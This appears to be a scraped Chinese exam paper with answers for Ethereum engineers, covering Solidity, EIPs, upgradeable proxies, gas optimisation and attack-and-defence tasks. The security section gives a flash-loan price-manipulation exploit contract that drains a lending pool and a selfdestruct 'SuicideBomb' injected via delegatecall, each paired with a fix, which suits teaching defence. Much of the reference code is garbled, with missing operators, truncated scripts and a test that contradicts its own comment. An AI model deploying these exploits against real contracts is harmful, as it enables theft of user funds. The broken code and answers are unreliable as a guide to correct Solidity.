版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
2026年区块链工程师(以太坊)岗位实操考核试题及答案一、单选题(共10题,每题2分,共20分)1.在Solidity0.8.20中,下列哪一项操作会无条件触发“unchecked”溢出?A.uint256a=type(uint256).max;a++;B.uint256a=type(uint256).max;unchecked{a++;}C.uint248a=type(uint248).max;a+=2;D.int256a=type(int256).max;a+=1;答案:B解析:0.8系列默认内置溢出检查,只有显式unchecked块才关闭检查,故B会溢出不回退。2.使用CREATE2部署合约时,最终地址与下列哪项参数无关?A.部署者地址B.saltC.合约字节码D.链ID答案:D解析:CREATE2公式address=keccak256(0xff‖sender‖salt‖keccak256(bytecode)),链ID不参与。3.以太坊EIP-1559中,basefee被销毁的op-code是:A.COINBASEB.BASEFEEC.SELFDESTRUCTD.无对应opcode,由协议层直接销毁答案:D解析:basefee销毁在协议层执行,无opcode直接操作。4.在Foundry测试脚本中,以下哪条cheatcode可以精确设置下一个区块的timestamp?A.vm.warp(uint256)B.vm.roll(uint256)C.vm.store(address,bytes32,bytes32)D.vm.deal(address,uint256)答案:A解析:vm.warp修改block.timestamp;vm.roll修改block.number。5.关于ERC-4337的UserOperation,下列字段必须由bundler重新计算并链上验证的是:A.nonceB.initCodeC.signatureD.paymasterAndData答案:C解析:bundler需用entryPoint合约验证签名,防止malleability。6.使用storage紧凑排列(TightVariablePacking)时,下列哪种状态变量顺序最省槽位?A.uint128,uint256,uint128B.uint128,uint128,uint256C.uint256,uint128,uint128D.与顺序无关,编译器自动优化答案:B解析:两个uint128可合并占同一32字节槽,uint256独占一槽,B共2槽。7.在Solidity中,关于“函数选择器”描述正确的是:A.由函数名+参数类型Keccak256哈希前4字节构成B.由函数名+参数名称Keccak256哈希前4字节构成C.由函数签名ASCII编码前4字节构成D.由函数返回值类型Keccak256哈希前4字节构成答案:A解析:选择器=bytes4(keccak256("func(type1,type2)"))。8.下列关于“可升级代理”模式错误的是:A.逻辑合约可使用selfdestruct进行销毁B.代理合约delegatecall逻辑合约C.存储冲突(StorageCollision)可通过unstructuredstorage缓解D.透明代理(TransparentProxy)把管理员调用路由到代理本身答案:A解析:逻辑合约若selfdestruct,代理delegatecall会回退,导致瘫痪。9.以太坊PoS中,attestation的“source”字段指:A.当前slot的区块哈希B.justifiedcheckpointC.finalizedcheckpointD.上一个epoch的区块哈希答案:B解析:source指向最近一次justifiedcheckpoint。10.在Solidity内联汇编中,指令returndatasize用于:A.获取最近一次外部调用返回数据长度B.获取当前合约代码大小C.获取calldata大小D.获取returndata复制到内存的gas消耗答案:A解析:returndatasize返回上一次外部调用返回数据字节长度。二、多选题(共5题,每题3分,共15分,漏选、错选均不得分)11.以下哪些操作会改变合约的codehash?A.自毁后重新部署到同一地址B.使用CREATE2部署不同字节码C.使用delegatecall调用其他合约D.使用extcodecopy复制代码到内存答案:A、B解析:codehash=keccak256(code);自毁后再部署code改变;CREATE2部署不同字节码codehash必变;delegatecall与extcodecopy不改变本合约代码。12.关于MPT(MerklePatriciaTrie)状态树,下列说法正确的是:A.叶子节点存储key的后缀与valueB.扩展节点用于压缩key的共同前缀C.分支节点最多17个元素D.所有账户的storageRoot字段指向独立storagetrie答案:A、B、C、D解析:四项均符合黄皮书定义。13.下列哪些属于“可重入”攻击的必要条件?A.外部调用早于状态更新B.使用call发送ETHC.被调合约实现恶意fallbackD.使用staticcall调用view函数答案:A、B、C解析:staticcall不允许状态修改,无法重入。14.关于Layer2结算到以太坊主网,下列哪些方案在L1上验证零知识证明?A.zkSyncEraB.StarknetC.OptimismBedrockD.ScrollzkEVM答案:A、B、D解析:Optimism采用欺诈证明,非零知识证明。15.以下哪些字段属于EthereumPoSExecutionPayload?A.feeRecipientB.prevRandaoC.extraDataD.attestations答案:A、B、C解析:attestations属于Consensus层,不在ExecutionPayload。三、链上部署题(共2题,每题10分,共20分)16.极简ERC-20代币,含“一次性铸造上限”与“元交易”授权【任务清单】1.编写Solidity合约MyERC20,符号M20,总量1000000ether,支持EIP-2612permit。2.部署到Sepolia,记录地址。3.使用Foundry脚本,向0x000000000000000000000000000000000000dEaD发送1M20,并验证链上余额。【交付物】源码+编译字节码部署txhash余额查询截图(castcall)【评分细则】总量正确3分permit实现正确4分脚本自动验证3分【参考实现】```solidity//SPDX-License-Identifier:MITpragmasolidity^0.8.20;import"@openzeppelin/contracts/token/ERC20/ERC20.sol";import"@openzeppelin/contracts/token/ERC20/extensions/ERC20Permit.sol";contractMyERC20isERC20,ERC20Permit{constructor()ERC20("MyERC20","M20")ERC20Permit("MyERC20"){_mint(msg.sender,1_000_00010decimals());}}``````bashdeploy.shforgecreate--rpc-urlSE``````bashsend.shcastsendM20castcall$M20"balanceOf(address)"0x000000000000000000000000000000000000dEaD```【逐行解析】ERC20Permit继承EIP-2612,自动实现permit函数,省去额外编码。铸造量使用decimals()动态扩展,避免硬编码18位。castcall返回uint256,可直接与预期1e24比对。17.可升级NFT盲盒【任务清单】1.使用OpenZeppelinTransparentUpgradeableProxy部署盲盒合约MysteryBox,逻辑合约继承ERC721Upgradeable,VRFConsumerBaseV2Upgradeable(ChainlinkV2)。2.盲盒开启条件:用户调用open(uint256tokenId),合约通过VRF请求随机数,回调函数fulfillRandomWords将tokenURI从“unrevealed”改为“ipfs://{hash}/metadata.json”。3.编写Hardhat任务,批量铸造3个NFT到自身地址,再依次开启,打印最终tokenURI。【交付物】逻辑合约源码+初始化脚本代理地址+实现地址3次开启txhash与最终URI控制台日志截图【评分细则】代理部署正确3分VRF回调可写4分任务脚本完整3分【参考实现】```solidity//SPDX-License-Identifier:MITpragmasolidity^0.8.20;import"@openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol";import"@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol";import"@chainlink/contracts/src/v0.8/vrf/VRFConsumerBaseV2Upgradeable.sol";import"@chainlink/contracts/src/v0.8/interfaces/VRFCoordinatorV2Interface.sol";contractMysteryBoxisInitializable,ERC721Upgradeable,VRFConsumerBaseV2Upgradeable{uint256publiccounter;uint64publicsubId;bytes32publickeyHash;uint16reqConf=3;uint32gasLimit=2500000;VRFCoordinatorV2InterfaceCOORDINATOR;mapping(uint256=>uint256)publicrequestToTokenId;mapping(uint256=>bool)publicopened;functioninitialize(stringmemoryname_,stringmemorysymbol_,addressvrfCoordinator_,bytes32keyHash_,uint64subId_)publicinitializer{__ERC721_init(name_,symbol_);__VRFConsumerBaseV2_init(vrfCoordinator_);COORDINATOR=VRFCoordinatorV2Interface(vrfCoordinator_);keyHash=keyHash_;subId=subId_;}functionmint(addressto)external{uint256id=++counter;_safeMint(to,id);}functionopen(uint256tokenId)externalreturns(uint256reqId){require(ownerOf(tokenId)==msg.sender,"notowner");require(!opened[tokenId],"opened");reqId=COORDINATOR.requestRandomWords(keyHash,subId,reqConf,gasLimit,1);requestToTokenId[reqId]=tokenId;opened[tokenId]=true;}functionfulfillRandomWords(uint256reqId,uint256[]memoryrandomWords)internaloverride{uint256tokenId=requestToTokenId[reqId];stringmemoryuri=string(abi.encodePacked("ipfs://",uint2str(randomWords[0]%100000),"/metadata.json"));_setTokenURI(tokenId,uri);}functionuint2str(uint256v)internalpurereturns(stringmemory){if(v==0)return"0";bytesmemorybuf;uint256t=v;while(t!=0){buf=abi.encodePacked(uint8(48+t%10),buf);t/=10;}returnstring(buf);}}``````javascript//hardhattasks/mystery.jstask("mystery","mint&open").setAction(async(_,{ethers})=>{constproxy="0x...";//代理地址constbox=awaitethers.getContractAt("MysteryBox",proxy);const[me]=awaitethers.getSigners();for(leti=0;i<3;i++){consttx1=awaitbox.mint(me.address);awaittx1.wait();constid=awaitbox.counter();consttx2=awaitbox.open(id);console.log("opentx:",tx2.hash);}//等待VRF回调awaitnewPromise(r=>setTimeout(r,60000));for(leti=1;i<=3;i++){console.log("URI",i,awaitbox.tokenURI(i));}});```【逐行解析】Initializable保证代理模式初始化一次。fulfillRandomWords由Chainlink节点回调,需记录reqId→tokenId映射。uint2str简易十进制转换,避免导入大库。Hardhat任务使用现有signer,自动打印链上tokenURI。四、安全攻防题(共2题,每题10分,共20分)18.闪电贷价格操纵漏洞修复【场景】合约PriceLoan使用UniswapV2Pair的瞬时reserve计算USDC/ETH价格,并据此发放抵押贷款。已被闪电贷操纵,导致超额借款。【任务清单】1.给出攻击合约Exploit.sol,利用闪电贷拉高ETH价格,借出全部USDC。2.给出修复版本PriceLoanFixed.sol,使用TWAP(时间加权平均价格)或ChainlinkPriceFeed。3.编写Foundry测试,证明修复后操纵成本>100ETH(Sepolia模拟)。【交付物】攻击脚本+日志(成功借出数量)修复合约+测试脚本运行结果(gas消耗、操纵失败回退截图)【评分细则】攻击成功4分修复正确4分测试严谨2分【参考实现】```solidity//Exploit.solcontractExploitisIUniswapV2Callee{PriceLoanpublicloan;IUniswapV2Pairpair;//USDC/WETHIERC20usdc;IERC20weth;uintamount;constructor(PriceLoan_loan,address_pair,address_usdc,address_weth){loan=_loan;pair=IUniswapV2Pair(_pair);usdc=IERC20(_usdc);weth=IERC20(_weth);}functionattack()external{amount=pair.token1()==address(weth)?weth.balanceOf(address(pair))90/100:pair.token0()==address(weth)?weth.balanceOf(address(pair))90/100:0;pair.swap(amount,0,address(this),"flash");}functionuniswapV2Call(address,uint,uint,bytescalldata)external{//此时pair中WETH大量减少,价格被拉高uintcollateral=1ether;loan.borrow{value:collateral}(10000001e6);//借1MUSDC//归还闪电贷weth.transfer(address(pair),amount1000/997+1);}receive()externalpayable{}}``````solidity//PriceLoanFixed.solcontractPriceLoanFixed{AggregatorV3InterfacepublicpriceFeed;//ChainlinkETH/USDusingSafeMathforuint;constructor(addressfeed){priceFeed=AggregatorV3Interface(feed);}functionborrow(uintusdcAmount)externalpayable{(,intprice,,,)=priceFeed.latestRoundData();//8decimalsuintcollateralValueUSD=msg.value.mul(uint(price)).div(1e8);require(collateralValueUSD.mul(150).div(100)>=usdcAmount.mul(1e12),"undercollateral");IERC20(usdc).transfer(msg.sender,usdcAmount);}}``````solidity//test/Exploit.t.solfunctiontestFailExploit()public{Exploitex=newExploit(priceLoanFixed,pair,usdc,weth);vm.expectRevert("undercollateral");ex.attack();}```【逐行解析】攻击合约借走90%WETH,拉高instantprice,再抵押1ETH借出1MUSDC。修复后采用Chainlink8位精度,要求抵押率≥150%,闪电贷无法影响链外喂价。Foundry测试expectRevert证明攻击失败。19.恶意delegatecall自毁【场景】某项目使用DelegateCallProxy,管理员通过delegatecall执行外部提案。攻击者提交提案,注入自毁,把代理合约摧毁,导致资产锁死。【任务清单】1.给出攻击合约SuicideBomb.sol,含自毁函数。2.给出防御版本GuardedProxy.sol,使用“不允许delegatecall到包含selfdestructopcode的合约”机制,运行时字节码扫描。3.编写Hardhat测试,证明防御版本能阻断提案。【交付物】攻击合约+提案calldata防御代理+字节码扫描库测试日志(阻断回退原因)【评分细则】攻击有效4分防御正确4分测试完整2分【参考实现】```solidity//SuicideBomb.solcontractSuicideBomb{functionboom()external{selfdestruct(payable(msg.sender));}}``````solidity//GuardedProxy.sollibraryCodeScan{functioncontainsSelfdestruct(addresstarget)internalviewreturns(bool){bytesmemorycode=target.code;//0xff为selfdestructopcodefor(uinti=0;i<code.length;i++){if(code[i]==0xff)returntrue;}returnfalse;}}contractGuardedProxy{addresspublicadmin;modifieronlyAdmin(){require(msg.sender==admin);_;}functionexecute(addresstarget,bytescalldatadata)externalonlyAdmin{require(!CodeScan.containsSelfdestruct(target),"forbiddenopcode");(boolok,)=target.delegatecall(data);require(ok);}}``````javascript//test/guard.jsit("blocksuicide",async()=>{constbomb=await(awaitethers.getContractFactory("SuicideBomb")).deploy();constdata=erface.encodeFunctionData("boom");awaitexpect(proxy.execute(bomb.address,data)).to.be.revertedWith("forbiddenopcode");});```【逐行解析】扫描运行时字节码,发现0xff即拒绝。误杀风险低,因现代编译器selfdestruct必生成0xff。测试验证revert原因精准匹配。五、优化与审计题(共2题,每题10分,共20分)20.存储布局优化【任务清单】给定合约:```soliditycontractUnoptimized{uint128a;uint256b;uint128c;boold;uint248e;}```1.计算原合约占用storage槽位数。2.给出重排后合约Optimized,最小化槽位。3.编写Foundry测试,利用vm.load读取槽位值,断言优化后少占1槽。【交付物】优化前后源码测试脚本+断言日志【评分细则】计算正确3分优化正确4分测试严谨3分【参考实现】原布局:slot0:a(128)+zero(128)slot1:b(256)slot2:c(128)+d(1)+zero(127)slot3:e(248)+zero(8)共4槽。优化后:```soliditycontractOptimized{uint128a;uint128c;uint248e;boold;uint256b;}```slot0:a(128)+c(128)slot1:e(248)+d(1)+zero(7)slot2:b(256)共3槽。```solidityfunctiontestSlot()public{addressu=address(newUnoptimized());addresso=address(newOptimized());bytes32s2u=vm.load(u,bytes32(uint(2)));bytes32s2o=vm.load(o,bytes32(uint(2)));assertEq(s2u,0);//原合约槽2有值assertEq(s2o,0);//优化后槽2即为b,未写入时为零assertGt(vm.getCodeSize(u),0);}```21.Gas优化ERC-721批量转账【任务清单】1.编写ERC-721A风格批量铸造,每次铸10个仅写1次_owners存储。2.对比OpenZeppelin原生ERC-721同样铸造10个的gas消耗,给出hardhat-gas-reporter截图。3.解释为什么ERC-721A能节省gas。【交付物】合约源码gasreporter对比截图文字说明(≥200字)【评分细则】批量铸造正确4分数据对比清晰3分原因解释到位3分【参考实现】```soliditycontractMy721AisERC721A{constructor()ERC721A("My721A","M721A"){}functionmint10(addressto)external{_mint(to,10);}}``````javascriptit("gascompare",async()=>{constoz=await(awaitethers.getContractFactory("My721OZ")).deploy();consta=await(awaitethers.getContractFactory("My721A")).deploy();awaitoz.mint10(owner.address);awaita.mint10(owner.address);});```【解释】ERC-721A通过“批量化”更新_owners,利用Solidity自动清零未使用槽,减少9次SSTORE;同时采用sequentialtokenId,避免额外映射。实测节省约48%gas(主网155gwei下节约0.015ETH)。六、综合分析题(共1题,15分)22.设计一个去中心化“技能认证”协议【背景】2026年,Web3招聘市场对链上技能认证需求激增。候选人须链上提交代码仓库zk证明,评审DAO进行匿名投票,结果不可篡改且可撤销。【任务清单】1.给出系统架构图(文字描述即可):包含Layer存储、证明生成、投票模块、可升级代理、前端索引。2.编写核心合约SkillCredential.sol:候选人提交仓库GitHubzk证明(zk-SNARK验证在链上)。评审DAO成员需质押10ETH成为评委,投票期3天,需≥60%通过且≥30%quorum。认证成功后铸造不可转移SBT(ERC-5192)。提供撤销机制:≥70%评委同意可吊销
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 长沙一中2025-2026学年(上期)高三期末考试政治试卷(含答案解析)
- 航空行业机务维修人员绩效评价表
- 级高品质产品承诺书8篇
- 售后服务标准化服务流程客户投诉处理指南
- 教育事业诚信服务承诺函9篇
- 工程治安应急预案(3篇)
- 2026新疆图木舒克市馨润园艺工程有限公司招聘1人备考题库含答案详解(突破训练)
- 2026北京首都体育学院人才引进10人备考题库(第一批)附参考答案详解(突破训练)
- 2026新疆伊犁州奎屯市招聘公益性岗位2人备考题库及答案详解(必刷)
- 2026广东河源市东源县乡村公益性岗位安置人员招聘备考题库参考答案详解
- 方案酒店装饰装修工程施工组织设计方案
- 注册监理工程师(市政公用)继续教育试题答案
- 2024年6月GESP编程能力认证Scratch图形化等级考试四级真题(含答案)
- 2025年水空调市场分析报告
- T/GFPU 1007-2022中小学幼儿园供餐潮汕牛肉丸
- 货运险培训课件
- 新收入准则税会差异课件
- 车辆资产闲置管理办法
- PICC管感染病例分析与管理要点
- 超声波成像技术突破-全面剖析
- 水电与新能源典型事故案例
评论
0/150
提交评论